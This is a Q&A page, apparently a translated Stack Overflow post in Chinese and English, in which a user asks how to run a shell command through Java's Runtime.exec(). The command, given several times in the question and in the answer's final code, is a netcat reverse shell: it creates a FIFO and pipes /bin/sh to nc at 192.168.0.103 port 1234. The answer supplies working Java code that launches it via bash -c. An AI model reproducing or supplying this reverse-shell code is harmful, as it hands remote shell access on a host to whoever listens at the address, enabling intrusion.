java Runtime.getRuntime().exec()无法运行命令 [英] java Runtime.getRuntime().exec() unable to run commands

问题描述

我需要从Runtime.getRuntime().exec()内部运行以下命令:

I need to run the following command from inside the Runtime.getRuntime().exec():

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

我应该以哪种格式将其传递给正在运行的具有以下内容的java程序:

In what format should I pass it to my running java program that has the line :

Process localProcess = Runtime.getRuntime().exec(myStr);

其中myStr是我要执行的上方的整个命令?

where myStr is the entire command above that I want to execute ?

我已经尝试过的东西:

[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"

给我错误:

无法运行程序"["/bin/bash，"-c，"/usr/bin/mkfifo:错误= 2，没有这样的文件或目录

Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory

如果我只是简单地从终端运行命令:

If I simply run the command from my terminal as :

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

它运行得像灵符，但不是通过runtime.exec().

It runs like a charm, but not through the runtime.exec().

推荐答案

尝试使用 ProcessBuilder 代替 Runtime .

尝试一下:

Process p = new ProcessBuilder().command("bash","-c",cmd).start();

cmd 是保存您的shell命令的变量.

cmd is the variable which holds your shell command.

更新:

String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
